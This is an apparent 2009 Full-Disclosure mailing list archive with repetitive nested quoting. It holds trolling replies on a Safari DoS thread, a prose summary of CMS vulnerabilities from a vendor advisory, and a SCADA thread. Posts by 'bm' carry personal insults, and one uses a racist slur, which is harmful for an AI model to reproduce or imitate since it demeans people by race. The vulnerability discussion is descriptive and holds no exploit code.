it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVrkn TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlNA5 wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3vju P7xAvvQ= =avqi -END PGP SIGNATURE- -- Click to find great rates on health insurance, save big, shop here. http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2GWai39WLJo4QlOxYCnjxaqn9u/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Stark, Adhering to the tradition of my fathers, I do not sport any facial hair and take offense to your comment, and since you're obviously lacking basic observational skills I highly doubt you're even as talented as my Cadburys, at anything. - -bm On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks jstarks...@gmail.com wrote: Mr. Mustache, it is obvious that I have more talent than a box of chocolates, and that you envy the sadistic nature of your fellow trolls on this list. Point blank. On Tue, Mar 3, 2009 at 6:18 AM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Valdis, I have been able to reproduce a similar situation using Firefox under MacOSX, using different websites and a significantly larger number of tabs. Do you think these issues might be related or are they operating system specific? What model of CPU were you testing this issue under? Thanks, - -bm On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache security.musta...@gmail.com wrote: I would like to point out that I have been able to create a hung state in the Firefox browser by opening 30 simultaneous tabs pointed at http://www.welcometointernet.org/lawnmower/ and adding a 31st tab viewing http://www.hotrussianbrides.com. Also, I am not amused. Your humble servant, Ze Mustache von Kletnieks On Mon, Mar 2, 2009 at 10:29 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Nick, You and Thierry Loller are wrong. - -bm On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald n...@virus- l.demon.co.uk wrote: Chris Evans to Thierry Zoller: Example If a chrome tab can be crashed arbritarely (remotely) it is a DoS attack but with ridiculy low impact to the end-user as it only crashes the tab it was subjected to, and not the whole browser or operation system. But the fact remains that this was the impact of a DoS condition, the tab crashes arbritarily. Eh? If you visit www.evil.com and your tab crashes, that's no different from www.evil.com closing its own tab with Javascript. But what if www.evil.com has run an injection attack of some kind (SQL, XSS in blog comments, etc, etc) against www.stupid.com? Visitors to stupid.com then suffer a DoS... Yes, stupid.com should run their site better, fix their myriad XSS holes, etc, etc. But this is the Internet, so this software flaw can be leveraged as security vulnerability. I'm with Thierry on this... Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8 + 0 b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxX F m 7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eA h p UpXIZ1s= =zgqd -END PGP SIGNATURE- -- Become a medical transcriptionist at home, at your own pace. http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7 c DXj4iASDyccuLtQA2i9f1le/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVrk n TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlNA 5 wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3vj u P7xAvvQ= =avqi -END PGP SIGNATURE- -- Click to find great rates on health insurance, save big, shop here. http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2GW ai39WLJo4QlOxYCnjxaqn9u/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0JSg XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwrFM kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4CL XTUWWLI= =FOnb -END PGP SIGNATURE- --
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Where? - -bm On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks jstarks...@gmail.com wrote: Mr. Mustache, There is a missing s on the end of my last name. Yours truly, Jason Bench Press Starks On Tue, Mar 3, 2009 at 5:45 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Stark, Adhering to the tradition of my fathers, I do not sport any facial hair and take offense to your comment, and since you're obviously lacking basic observational skills I highly doubt you're even as talented as my Cadburys, at anything. - -bm On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks jstarks...@gmail.com wrote: Mr. Mustache, it is obvious that I have more talent than a box of chocolates, and that you envy the sadistic nature of your fellow trolls on this list. Point blank. On Tue, Mar 3, 2009 at 6:18 AM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Valdis, I have been able to reproduce a similar situation using Firefox under MacOSX, using different websites and a significantly larger number of tabs. Do you think these issues might be related or are they operating system specific? What model of CPU were you testing this issue under? Thanks, - -bm On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache security.musta...@gmail.com wrote: I would like to point out that I have been able to create a hung state in the Firefox browser by opening 30 simultaneous tabs pointed at http://www.welcometointernet.org/lawnmower/ and adding a 31st tab viewing http://www.hotrussianbrides.com. Also, I am not amused. Your humble servant, Ze Mustache von Kletnieks On Mon, Mar 2, 2009 at 10:29 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Nick, You and Thierry Loller are wrong. - -bm On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald n...@virus- l.demon.co.uk wrote: Chris Evans to Thierry Zoller: Example If a chrome tab can be crashed arbritarely (remotely) it is a DoS attack but with ridiculy low impact to the end-user as it only crashes the tab it was subjected to, and not the whole browser or operation system. But the fact remains that this was the impact of a DoS condition, the tab crashes arbritarily. Eh? If you visit www.evil.com and your tab crashes, that's no different from www.evil.com closing its own tab with Javascript. But what if www.evil.com has run an injection attack of some kind (SQL, XSS in blog comments, etc, etc) against www.stupid.com? Visitors to stupid.com then suffer a DoS... Yes, stupid.com should run their site better, fix their myriad XSS holes, etc, etc. But this is the Internet, so this software flaw can be leveraged as security vulnerability. I'm with Thierry on this... Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh 8 + 0 b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fx X F m 7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5e A h p UpXIZ1s= =zgqd -END PGP SIGNATURE- -- Become a medical transcriptionist at home, at your own pace. http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc 7 c DXj4iASDyccuLtQA2i9f1le/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVr k n TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlN A 5 wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3v j u P7xAvvQ= =avqi -END PGP SIGNATURE- -- Click to find great rates on health insurance, save big, shop here. http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2G W ai39WLJo4QlOxYCnjxaqn9u/ ___ Full-Disclosure - We believe in it.
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Huh? - -bm On Tue, 03 Mar 2009 18:01:05 -0500 Jason Starks jstarks...@gmail.com wrote: Right.. On Tue, Mar 3, 2009 at 5:45 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Stark, There. On Tue, Mar 3, 2009 at 5:56 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Where? - -bm On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks jstarks...@gmail.com wrote: Mr. Mustache, There is a missing s on the end of my last name. Yours truly, Jason Bench Press Starks On Tue, Mar 3, 2009 at 5:45 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Stark, Adhering to the tradition of my fathers, I do not sport any facial hair and take offense to your comment, and since you're obviously lacking basic observational skills I highly doubt you're even as talented as my Cadburys, at anything. - -bm On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks jstarks...@gmail.com wrote: Mr. Mustache, it is obvious that I have more talent than a box of chocolates, and that you envy the sadistic nature of your fellow trolls on this list. Point blank. On Tue, Mar 3, 2009 at 6:18 AM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Valdis, I have been able to reproduce a similar situation using Firefox under MacOSX, using different websites and a significantly larger number of tabs. Do you think these issues might be related or are they operating system specific? What model of CPU were you testing this issue under? Thanks, - -bm On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache security.musta...@gmail.com wrote: I would like to point out that I have been able to create a hung state in the Firefox browser by opening 30 simultaneous tabs pointed at http://www.welcometointernet.org/lawnmower/ and adding a 31st tab viewing http://www.hotrussianbrides.com. Also, I am not amused. Your humble servant, Ze Mustache von Kletnieks On Mon, Mar 2, 2009 at 10:29 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Nick, You and Thierry Loller are wrong. - -bm On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald n...@virus- l.demon.co.uk wrote: Chris Evans to Thierry Zoller: Example If a chrome tab can be crashed arbritarely (remotely) it is a DoS attack but with ridiculy low impact to the end-user as it only crashes the tab it was subjected to, and not the whole browser or operation system. But the fact remains that this was the impact of a DoS condition, the tab crashes arbritarily. Eh? If you visit www.evil.com and your tab crashes, that's no different from www.evil.com closing its own tab with Javascript. But what if www.evil.com has run an injection attack of some kind (SQL, XSS in blog comments, etc, etc) against www.stupid.com? Visitors to stupid.com then suffer a DoS... Yes, stupid.com should run their site better, fix their myriad XSS holes, etc, etc. But this is the Internet, so this software flaw can be leveraged as security vulnerability. I'm with Thierry on this... Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qv h 8 + 0 b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53f x X F m 7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5 e A h p UpXIZ1s= =zgqd -END PGP SIGNATURE- -- Become a medical transcriptionist at home, at your own pace. http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWaf c 7 c DXj4iASDyccuLtQA2i9f1le/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Starks, Please remind us what you're talking about. - -bm On Tue, 03 Mar 2009 18:31:05 -0500 Jason Starks jstarks...@gmail.com wrote: Did Safari have a bug or something... On Tue, Mar 3, 2009 at 6:21 PM, Valdis' Mustache security.musta...@gmail.com wrote: Mr. Snarks, If you can't tell the difference between the Zimbabwean president and what's under my esteemed owner's nose I suggest you consult RFC 2821 for guidance. I am NOT amused. Your humble servant, V knír z Valdis On Tue, Mar 3, 2009 at 6:01 PM, Jason Starks jstarks...@gmail.com wrote: Right.. On Tue, Mar 3, 2009 at 5:45 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Stark, There. On Tue, Mar 3, 2009 at 5:56 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Where? - -bm On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks jstarks...@gmail.com wrote: Mr. Mustache, There is a missing s on the end of my last name. Yours truly, Jason Bench Press Starks On Tue, Mar 3, 2009 at 5:45 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Stark, Adhering to the tradition of my fathers, I do not sport any facial hair and take offense to your comment, and since you're obviously lacking basic observational skills I highly doubt you're even as talented as my Cadburys, at anything. - -bm On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks jstarks...@gmail.com wrote: Mr. Mustache, it is obvious that I have more talent than a box of chocolates, and that you envy the sadistic nature of your fellow trolls on this list. Point blank. On Tue, Mar 3, 2009 at 6:18 AM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Valdis, I have been able to reproduce a similar situation using Firefox under MacOSX, using different websites and a significantly larger number of tabs. Do you think these issues might be related or are they operating system specific? What model of CPU were you testing this issue under? Thanks, - -bm On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache security.musta...@gmail.com wrote: I would like to point out that I have been able to create a hung state in the Firefox browser by opening 30 simultaneous tabs pointed at http://www.welcometointernet.org/lawnmower/ and adding a 31st tab viewing http://www.hotrussianbrides.com. Also, I am not amused. Your humble servant, Ze Mustache von Kletnieks On Mon, Mar 2, 2009 at 10:29 PM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Nick, You and Thierry Loller are wrong. - -bm On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald n...@virus- l.demon.co.uk wrote: Chris Evans to Thierry Zoller: Example If a chrome tab can be crashed arbritarely (remotely) it is a DoS attack but with ridiculy low impact to the end-user as it only crashes the tab it was subjected to, and not the whole browser or operation system. But the fact remains that this was the impact of a DoS condition, the tab crashes arbritarily. Eh? If you visit www.evil.com and your tab crashes, that's no different from www.evil.com closing its own tab with Javascript. But what if www.evil.com has run an injection attack of some kind (SQL, XSS in blog comments, etc, etc) against www.stupid.com? Visitors to stupid.com then suffer a DoS... Yes, stupid.com should run their site better, fix their myriad XSS holes, etc, etc. But this is the Internet, so this software flaw can be leveraged as security vulnerability. I'm with Thierry on this... Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure- charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qv h 8 + 0 b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53f x X F m 7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5 e A h p UpXIZ1s= =zgqd -END PGP SIGNATURE- -- Become a medical transcriptionist at home, at your own pace.
Re: [Full-disclosure] The return of L0phtCrack
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Ivan, Professor Mudge and The Weld Pond have also promised the release of a 64bit capable netcat with full rainbow table support in the near future!!! :) - -bm On Tue, 03 Mar 2009 18:55:35 -0500 Ivan . ivan...@gmail.com wrote: http://blogs.zdnet.com/security/?p=2737 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmtw6wACgkQhNp8gzZx3sgiCAP/b4Ha7M3D4rSbAZW1FY5jvEXzpT+u YldzqALY6Kf/VNUa4lmSDqRwZwzrUtINP6NgDG7VeS+HSyPmsn9l4j6vWn+O+C+5UMPJ A/ZNX9jphw3ehFrubD6d0Xtchaasja3D6qMzsulyeVIJhOq7Cegf1zmIzRwe99LHP5rh guNbHXI= =vT63 -END PGP SIGNATURE- -- Protect your investment. Click here to find the homeowner insurance policy that you need. http://tagline.hushmail.com/fc/BLSrjkqeRvK934QJ9Jq7SERQ4BWRtAyDSZuLAac7L20WsMX9EUoF6F3C0rG/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Most secure internet exploration tool?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear list, Recently there have been many conversations regarding advanced browser hacks (denial by crashing attacks, too many tab attacks, code execution power hacks, etc). I would like to start a discussion, weighing in every expert opinion on what the most secure web browser is and why. Also whether or not the underlying operating system matters - is firefox more secure under BeOS than mosaic under IBM's dos? How do these things compare? Does anyone have any charts and/or graphs for visual comparison on this topic already that they would like to share? Thanks, - -bm -BEGIN PGP SIGNATURE- Charset: UTF8 Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 3.0 wpwEAQMCAAYFAkmty0kACgkQhNp8gzZx3siT9AP/dre+OCmuSzXs7XoQkrt5hFKKtO48 zy2xB1V4Z9jnbi+REHJaMdtB0jRqW8N0Yp7uWKinxO06j6xqvRpicL6pVoHstIlTYfj8 3om58z97QtOI4bXLnYiSduNaKMiCgz3rPimg++6eU5ydIXRcwdvJI6K3t4/W3WiJL7IR HBgLhrs= =e7QW -END PGP SIGNATURE- -- Click here to save cash and find low rates on auto loans. http://tagline.hushmail.com/fc/BLSrjkqhD12bI6Bf9LK33CMgRC8Aw6vjlUYbcX2frLTf6q5zzvJhAVnURtm/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apple Safari ... DoS Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear Nick, You and Thierry Loller are wrong. - -bm On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald n...@virus- l.demon.co.uk wrote: Chris Evans to Thierry Zoller: Example If a chrome tab can be crashed arbritarely (remotely) it is a DoS attack but with ridiculy low impact to the end-user as it only crashes the tab it was subjected to, and not the whole browser or operation system. But the fact remains that this was the impact of a DoS condition, the tab crashes arbritarily. Eh? If you visit www.evil.com and your tab crashes, that's no different from www.evil.com closing its own tab with Javascript. But what if www.evil.com has run an injection attack of some kind (SQL, XSS in blog comments, etc, etc) against www.stupid.com? Visitors to stupid.com then suffer a DoS... Yes, stupid.com should run their site better, fix their myriad XSS holes, etc, etc. But this is the Internet, so this software flaw can be leveraged as security vulnerability. I'm with Thierry on this... Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8+0 b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxXFm 7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eAhp UpXIZ1s= =zgqd -END PGP SIGNATURE- -- Become a medical transcriptionist at home, at your own pace. http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7cDXj4iASDyccuLtQA2i9f1le/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] On the implementation of TCP urgent data (IETF Internet Draft)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hello Fernando! We have confirmed this behavior on several revisions of MacOSX. Thanks! - -bm On Fri, 27 Feb 2009 13:51:30 -0500 Fernando Gont fernando.g...@gmail.com wrote: Hello, folks, We have published a revision of our IETF Internet-Draft entitled On the implementation of TCP urgent data. The document is available at: http://tools.ietf.org/id/draft-gont-tcpm-urgent-data-01.txt (you can also get the document in other fancy formats, such as PDF, at http://www.gont.com.ar/drafts). This document describes current issues relevant to the implementation and use of TCP urgent data, aims to change the IETF specifications so that they accommodate what virtually all implementations have been doing wrt urgent data. The TCPM working group of the IETF is currently deciding whether to adopt this document as a working group item, so that your input will be very much appreciated. To voice your opinion, please send it to t...@ietf.org, and CC me (ferna...@gont.com.ar), so that I make sure that your post makes it to the mailing-list, even if you are not subscribed to it. (Alternatively, you can send me your input, and I could forward it to the t...@ietf.org mailing-list). Thanks! Kind regards, -- Fernando Gont e-mail: ferna...@gont.com.ar || fg...@acm.org PGP Fingerprint: 7809 84F5 322E 45C7 F1C9 3945 96EE A9EF D076 FFF1 -BEGIN PGP SIGNATURE- Charset: UTF8 Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 3.0 wpwEAQMCAAYFAkmolVoACgkQhNp8gzZx3siICgP/UOR1I2cn/lO2L38P9YZ5xZSyZgoG IOLIKFGg4LMiAJY9m/pH/0zkTUs2aACInr7RgSPXkWqVGrOzFa9yY78rXAQvhV/bYn0L 6eZNIPs9lt9ZEGboBPe7j4OZaHl3q5turpR8lmHAi6eCC/a6zxkOhU4hqrAGkA1He3KV OR8FNDQ= =icZ9 -END PGP SIGNATURE- -- Become a medical transcriptionist at home, at your own pace. http://tagline.hushmail.com/fc/BLSrjkqfMmg2rb7TddFUOFiwDajt3Cm4LtbPPkPcHSAgNqkVh45Y1LcdSlK/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [NETRAGARD SECURITY ADVISORY] [Cambium Group, LLC. CAMAS Content Management System -- Multiple Critical Vulnerabilities][NETRAGARD-20070820]
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear SNOSOFT, Thanks to you for proving every insult made to your company as truths. Demonstrating monstrous volume of elementary computer hacking features in some unnamed and unknown web based interface does separate you from the Valdis's of the community, but not by much. You sirs should return to crying about children hijacking your xbox live accounts after defeating you in video games, and leave the more advanced computer security web hacking to Stefan Esser and his technical James Bond xbox hacking team. Also please learn to better format your pasted advisories to this list. thanks and all the best to you, - -bm On Tue, 24 Feb 2009 16:00:00 -0500 Netragard Advisories advisor...@netragard.com wrote: * Netragard, L.L.C Advisory*** The Specialist in Anti-Hacking. [Posting Notice] --- -- If you intend to post this advisory on your web page please create a clickable link back to the original Netragard advisory as the contents of the advisory may be updated. The advisory can be found on the Netragard website at http://www.netragard.com/ For more information about Netragard visit http://www.netragard.com [Advisory Information] --- -- Contact: Adriel T. Desautels Researcher : Kevin Finisterre Advisory ID: NETRAGARD-20070820 Product Name : CAMAS (Content Management System) Product Version: Unknown Vendor Name: Cambium Group, LLC. Type of Vulnerability : Multiple Critical Vulnerabilities Impact : Critical Vendor Notified: 08/22/2007 [Product Description] --- -- Cambium Group's content management system (CAMAS) give you independence from outdated content and expensive web masters. Let the user-friendly interface of CAMAS save you time and money with the freedom to manage your entire web channel yourself. Taken From: http://www.cambiumgroup.com/interior.php/pid/3/sid/3 [Technical Summary] --- -- The Cambium Group Content Management System (CAMAS) Failed most Open Web Application Security Project (OWASP) criterion during testing. Specific areas of vulnerability that were identified are as follows: Note: A reference to each is provided at the following URL: -- https://www.owasp.org/index.php/Category:Vulnerability -- [+] Authentication Testing (FAIL) --- -- CAMAS does not transport all authentication credentials over a secure encrypted channel. It is possible to capture users credentials in transit. [+] Code Quality Testing (FAIL) --- -- CAMAS does not follow industry best practices as defined by OWASP. Specifically, CAMAS is missing critical security functionality that leaves CAMAS powered websites open to attack by internet based hackers. [+] Error Handling Testing (FAIL) --- -- CAMAS is missing proper error handling and event logging capabilities as defined by OWASP. This lack of proper error handling and logging results in information leakage that can be used by an attacker to further compromise a CAMAS powered website. [+] Input Validation Testing (FAIL) --- -- CAMAS does not perform proper Input Validation. In some areas CAMAS does not perform any input validation. As a result it is possible to execute arbitrary database commands against databases that support CAMAS powered websites. It is also possible to take control of CAMAS powered websites, databases and web-servers. CAMAS does not use Parameterized Stored Procedures which is the industry standard for defending against SQL Injection. [+] Logging and Auditing Testing (FAIL) --- -- CAMAS is missing Logging and Auditing functionality as defined by OWASP. [+] Password Management (FAIL) --- -- CAMAS does not perform proper password storage and management. CAMAS does not properly support password aging, strong password enforcement, or strong password cryptographic protection. During testing Netragard was able to crack 98% of the passwords that were
Re: [Full-disclosure] [SCADASEC] 11. Re: SCADA Security - Software fee's
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Krymson, 1. Valdis' replies fall under other commonly used Latin phrases, such as ad nauseam that the slightly educated use in conversation to attempt emulation of both higher levels of education and intelligence than they actually possess. Nice try, you fucking tard. 2. Who the fuck are you and why should we, the security community, care about your feelings toward Mr. Kletnieks? He has never once offered a technical response to anything, and if anything has only demonstrated an inability to grasp simple technical concepts. Valdis says very little, but I suppose we must give him credit for the frequency and length of how often he says that. Perhaps one day you'll have joined him in his esteemed rank of moustached village idiot. et cetera, et cetera. - - bm On Mon, 23 Feb 2009 09:57:06 -0500 Michael Krymson krym...@gmail.com wrote: 1- We could do this ad infinitum, but this list's lack of usual moderation does not mean your opinion is either respected, welcomed, or desired by anyone, Mr. Mugabe. But hey, at least Valdis was on topic, right? Circular arguments get us everywhere! 2- Further, I for one welcome Valdis' opinions. He is well- spoken/written, makes excellent points, and regularly demonstrates a high degree of intelligence and understanding. Quite frankly, that earns much more respect than whiney immature posts like the below. So, that makes one person on this list who welcomes it, and not the no one you were implying when you seemed to speak for an entire list... On Sun, Feb 22, 2009 at 11:28 AM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Kletnieks, This list's lack of usual moderation does not mean your opinion is either respected, welcomed, or desired by anyone. Like my father always says, Give a nigger a podium and he'll rap for anyone. Give a white man a podium and he'll beat his chest like a primate and spew mindless propaganda to anyone that will listen with the hope that the senseless banter will impress those less intelligent than he. And you, my friend, are not black. - -bm On Sat, 21 Feb 2009 21:30:01 -0500 valdis.kletni...@vt.edu wrote: On Fri, 20 Feb 2009 09:24:29 EST, Smoking Gun said: Ironically, your own quotecompanyquote offered penetration testing services at the insane pricing scheme of we'll pentest0r joo for free and if we find something you can pay us to find other holes!. And how, 